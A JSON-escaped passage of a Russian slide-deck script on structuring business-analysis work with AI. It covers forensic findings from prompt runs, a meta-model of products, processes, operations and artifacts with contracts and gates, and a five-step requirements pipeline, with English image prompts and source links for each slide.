\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nSeventeen specification documents laid out in a grid, each with a\\ndifferent internal skeleton of blocks and sections, none of them\\nmatching; a single empty template frame hovers above, unused.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n[\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- \u0421\u0442\u0430\u0440\u0442: 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 (stepwise, oneshot, legacy) \u043d\u0430 13\\n  \u0437\u0430\u0434\u0430\u0447. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- 10 \u0438\u0437 12 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437\\n  24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432: \u043d\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0433\u0435\u0439\u0442\u0430.\\n- \u0427\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435,\\n  \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n- \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0426\u0438\u0442\u0430\u0442\u0430 \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041f\u0440\u043e\u043c\u043f\u0442-only \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u044d\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u044b;\\n> \u043d\u0443\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430\u00bb.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\\n\u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA timeline running left to right: on the left a tangled heap of\\nhandwritten prompt cards, in the middle a forensic magnifying glass\\nover a row of numbered run folders, on the right a clean architectural\\nblueprint of connected blocks rising from the same folders.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\\n[\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0440\u043c\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md),\\n[ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md),\\n[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-deprecate-run-modes.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0411\u043b\u043e\u043a 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.**\\n\\n- \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: **\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442**.\\n  \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0417\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0438: 33 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f; \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\\n  \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430: \u0432\u0445\u043e\u0434 \u00d7 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u00d7 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u00d7 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u00d7 \u0430\u043a\u0442\u043e\u0440 \u2014\\n  \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0433\u0435\u0439\u0442 \u2014 \u0432\u044b\u0445\u043e\u0434 + \u0441\u043b\u0435\u0434.\\n- \u0427\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430: \u043d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 (`MM-1`), \u043d\u0435\u0442 \u0433\u0435\u0439\u0442\u0430 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\\n  (`MM-2`), \u043a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u043d\u0435\u0441\u0451\u0442 \u0441\u043b\u0435\u0434 (`MM-3`), \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u0448\u0430\u0433\u0430\\n  (`MM-4`).\\n\\n> **\u0424\u043e\u0440\u043c\u0443\u043b\u0430:** `Artifact_in \u00d7 Product \u00d7 System \u00d7 Operation \u00d7 Actor \u2500\u2500\\n> Contract \u2500\u2500\u25b6 Gate \u2500\u2500\u25b6 Artifact_out + Trace`\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0447\u0435\u0442\u044b\u0440\u0451\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u043f\u0438\u0440\u0430\u043c\u0438\u0434\u0430 \u0441 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0433\u0440\u0430\u043d\u0438.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nAn exploded architectural diagram of four stacked translucent layers:\\na product layer on top, a process layer, a layer of many small identical\\noperation cubes, and at the bottom a row of finished artefacts; thin\\nvertical threads connect every artefact back up to its operation and\\nproduct.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0411\u043b\u043e\u043a 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432.**\\n\\n- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u041e\u0434\u043d\u0438\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u043c \u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435:** \u0440\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u043d\u0430 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445\\n  \u043a\u043b\u0430\u0441\u0441\u043e\u0432. \u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0432\u043e\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\\n- \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439, \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0432\u044b\u0431\u043e\u0440 \u2014 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435.\\n- **Fail-closed:** \u043d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438\\n  \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n\\n> **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0059 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u044f\\n> endpoint'\u043e\u0432; RUN-0060 \u0434\u0430\u043b 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430\\n> \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u00ab\u043a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u2192 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u2192\\n\u0440\u0438\u0441\u043a\u00bb (5 \u0441\u0442\u0440\u043e\u043a).\\n\\n| \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c | \u0420\u0438\u0441\u043a \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f |\\n| --- | --- | --- |\\n| \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 | \u0441\u0432\u0435\u0440\u043a\u0430 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c | \u043f\u0440\u043e\u043f\u0443\u0441\u043a |\\n| \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 | \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u043e\u0442\u0435\u0440\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 |\\n| \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a + \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n| \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0441\u0445\u0435\u043c\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 | \u043b\u043e\u0436\u043d\u043e\u0435 \u00ab\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442\u00bb |\\n| \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 + \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA human brain rendered as a loose, glowing nebula on the left; on the\\nright the same energy is split into five precise crystalline modules,\\neach sealed inside its own transparent inspection chamber with a\\nclosed lock that only opens when a checklist lights up.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md),\\n[\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u0435 \u00ab\u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md),\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0411\u043b\u043e\u043a 5. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u044c.**\\n\\n1. **\u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f:** \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443\\n   `C-IN`; \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n2. **\u0421\u0432\u0435\u0440\u043a\u0430:** \u0444\u0430\u043a\u0442\u044b \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438 \u043a\u0435\u0439\u0441\u0430\u043c; \u043d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u0438\\n   \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u044f\u043c\u0438.\\n3. **\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443:** \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f\\n   API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438 \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430; \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\\n   \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n4. **\u0413\u0435\u0439\u0442\u044b:** `G-mach` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, `G-human` \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\\n   \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435 \u0432\u044b\u0431\u043e\u0440\u044b.\\n5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f:** \u043e\u0434\u0438\u043d 